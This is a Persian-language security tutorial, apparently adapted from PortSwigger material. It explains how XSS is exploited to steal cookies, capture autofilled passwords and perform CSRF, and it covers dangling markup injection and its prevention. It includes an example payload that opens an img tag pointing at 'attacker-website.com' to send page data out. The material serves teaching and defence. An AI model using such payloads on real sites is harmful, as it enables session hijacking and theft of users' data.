Cross-site scripting (XSS)
زمان مطالعه :4 دقیقه
Exploiting XSS vulnerabilities & Dangling markup injection
Exploiting cross-site scripting vulnerabilities
https://portswigger.net/web-security/cross-site-scripting/exploiting
راه سنتی برای اثبات اینکه شما یک آسیبپذیری Cross Site Scripting پیدا کردهاید، ایجاد یک پنجره popup با استفاده از تابع alert() است. این به این دلیل نیست که XSS به popupها مرتبط است؛ بلکه صرفاً راهی برای اثبات این است که شما میتوانید JavaScript دلخواه را در یک دامنه خاص اجرا کنید. ممکن است متوجه شوید که برخی افراد از alert(document.domain) استفاده میکنند. این روشی برای مشخص کردن صریح دامنهای است که JavaScript در آن اجرا میشود.
گاهی اوقات میخواهید جلوتر بروید و ثابت کنید که یک آسیبپذیری XSS تهدید واقعی است با ارائه یک Exploit کامل. در این بخش، سه روش محبوب و قدرتمند برای Exploit کردن یک آسیبپذیری XSS را بررسی خواهیم کرد.
Exploiting cross-site scripting to steal cookies
دزدیدن Cookieها یک روش سنتی برای Exploit کردن XSS است. بیشتر برنامههای وب از Cookieها برای Session Handling استفاده میکنند. شما میتوانید آسیبپذیریهای cross-site scripting را برای ارسال Cookieهای قربانی به دامنه خودتان بهرهبرداری کنید، سپس به صورت دستی Cookieها را در مرورگر تزریق کنید و خود را به جای قربانی جا بزنید.
در عمل، این روش محدودیتهای قابل توجهی دارد:
· ممکن است قربانی وارد حساب کاربری خود نشده باشد.
· بسیاری از برنامهها Cookieهای خود را با استفاده از پرچم HttpOnly از دسترسی JavaScript مخفی میکنند.
· ممکن است Sessions به عوامل اضافی مانند آدرس IP کاربر قفل شده باشند.
· ممکن است Session قبل از اینکه شما بتوانید آن را ربوده کنید، منقضی شود.
Exploiting cross-site scripting to capture passwords
این روزها، بسیاری از کاربران دارای مدیران رمز عبور (password managers)هستند که رمز عبورهای خود را به صورت خودکار پر میکنند. میتوانید از این موضوع با ایجاد یک ورودی رمز عبور، خواندن رمز عبور پر شده و ارسال آن به دامنه خودتان بهرهبرداری کنید. این تکنیک بیشتر مشکلات مرتبط با دزدیدن Cookieها را دور میزند و حتی میتواند به هر حساب دیگری که قربانی از همان رمز عبور استفاده کرده است، دسترسی پیدا کند.
عیب اصلی این تکنیک این است که تنها برای کاربرانی که یک مدیر رمز عبور دارند که رمز عبور را به صورت خودکار پر میکند، کار میکند. (البته، اگر کاربر رمز عبوری ذخیره نشده داشته باشد، همچنان میتوانید سعی کنید رمز عبور او را از طریق یک حمله Phishing درونسایتی به دست آورید، اما کاملاً یکسان نیست).
Exploiting cross-site scripting to perform CSRF
هر کاری که یک کاربر قانونی میتواند در یک وب سایت انجام دهد، شما هم احتمالاً میتوانید با XSS انجام دهید. بسته به سایتی که هدف قرار دادهاید، ممکن است بتوانید قربانی را به ارسال یک پیام، قبول درخواست دوستی، متعهد شدن به یک backdoor در یک مخزن کد منبع، یا انتقال مقداری Bitcoin وادار کنید.
برخی از وبسایتها به کاربران وارد شده اجازه میدهند بدون وارد کردن مجدد رمز عبور، آدرس ایمیل خود را تغییر دهند. اگر یک آسیبپذیری XSS پیدا کردهاید، میتوانید آن را طوری تنظیم کنید که این قابلیت را فعال کند تا آدرس ایمیل قربانی را به آدرسی که شما کنترل میکنید تغییر دهد، و سپس یک بازنشانی رمز عبور را برای دسترسی به حساب کاربری قربانی فعال کند.
این نوع Exploit معمولاً به عنوان cross-site request forgery (CSRF) شناخته میشود که کمی گیجکننده است زیرا CSRF میتواند به عنوان یک آسیبپذیری مستقل نیز رخ دهد. هنگامی که CSRF به عنوان یک آسیبپذیری مستقل رخ میدهد، میتوان آن را با استفاده از استراتژیهایی مانند anti-CSRF tokens برطرف کرد. با این حال، این استراتژیها هیچ محافظتی در برابر آسیبپذیری XSS فراهم نمیکنند اگر این آسیبپذیری نیز وجود داشته باشد.
the end
Dangling markup injection
https://portswigger.net/web-security/cross-site-scripting/dangling-markup
در این بخش، ما به توضیح dangling markup injection، نحوه کار یک Exploit معمولی، و چگونگی جلوگیری از حملات dangling markup خواهیم پرداخت.
?What is dangling markup injection
dangling markup injection یک تکنیک برای دریافت دادههای cross-domain در شرایطی است که یک حمله کامل cross-site scripting ممکن نیست.
فرض کنید یک برنامه دادههای قابلکنترل توسط attacker را بهطور ناایمن در پاسخهای خود تعبیه میکند:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
همچنین فرض کنید که برنامه کاراکترهای > یا " را فیلتر یا escape نمیکند. یک attacker میتواند از syntax زیر استفاده کند تا از مقدار صفت نقلقول شده (quoted attribute)و تگ محصورشده خارج شود و به یک HTML context بازگردد:
">
در این وضعیت، یک attacker به طور طبیعی سعی میکند XSS را انجام دهد. اما فرض کنید که یک حمله معمولی XSS به دلیل فیلترهای ورودی، content security policy، یا موانع دیگر ممکن نیست. در اینجا، هنوز ممکن است یک حمله dangling markup injection با استفاده از payloadی مانند زیر انجام شود:
"><img src='//attacker-website.com?
این payload یک تگ img ایجاد میکند و شروع یک صفت src حاوی یک URL در سرور attacker را تعریف میکند. توجه داشته باشید که پیلود attacker صفت src را نمیبندد، که به صورت "dangling" (آویزان)باقی میماند. هنگامی که مرورگر پاسخ را تجزیه میکند، به جلو نگاه میکند تا با یک علامت نقل قول تنها مواجه شود تا صفت را پایان دهد. هر چیزی تا آن کاراکتر بهعنوان بخشی از URL در نظر گرفته میشود و به سرور attacker در داخل query string URL ارسال میشود. هر کاراکتر غیر الفبایی (non-alphanumeric)، از جمله خطوط جدید، به صورت URL-encoded خواهد شد.
نتیجه حمله این است که attacker میتواند بخشی از پاسخ برنامه را که به دنبال نقطه تزریق است، و ممکن است حاوی دادههای حساس باشد، دریافت کند. بسته به عملکرد برنامه، این ممکن است شامل CSRF tokens، پیامهای ایمیل یا دادههای مالی باشد.
هر صفتی (attribute)که یک درخواست خارجی ایجاد کند میتواند برای dangling markup استفاده شود.
How to prevent dangling markup attacks
شما میتوانید حملات dangling markup را با استفاده از همان دفاعهای عمومی برای جلوگیری از cross-site scripting، با HTML-encoding دادهها در خروجی و validating ورودی در هنگام دریافت، جلوگیری کنید.
همچنین میتوانید برخی از حملات dangling markup را با استفاده از content security policy (CSP) کاهش دهید. برای مثال، میتوانید برخی (اما نه همه) حملات را با استفاده از یک policy که بارگذاری منابع خارجی را برای تگهایی مانند img ممنوع میکند، جلوگیری کنید.
توجه
مرورگر Chrome تصمیم گرفته است با جلوگیری از تعریف URLها حاوی کاراکترهای خام مانند angle brackets و خطوط جدید توسط تگهایی مانند img، با حملات dangling markup مقابله کند. این کار حملات را مسدود میکند، زیرا دادههایی که در غیر این صورت دریافت میشدند معمولاً حاوی این کاراکترهای خام هستند، بنابراین حمله مسدود میشود.
امیر رضا کبریادار
مشاهده مقاله های بیشتر
مقالات مرتبط
What is XSS, How does XSS work? Impact of an attack
زمان مطالعه :6 دقیقه
Reflected XSS, Impact, Contexts, Testing, FAQs
زمان مطالعه :5 دقیقه
.Stored XSS, Impact , Contexts, Testing for vulnerabilities
زمان مطالعه :3 دقیقه
DOM-based XSS, Testing, Exploiting
زمان مطالعه :8 دقیقه
XSS contexts: Between HTML tags, In HTML tag attributes, JavaScript, Client-side template injection
زمان مطالعه :6 دقیقه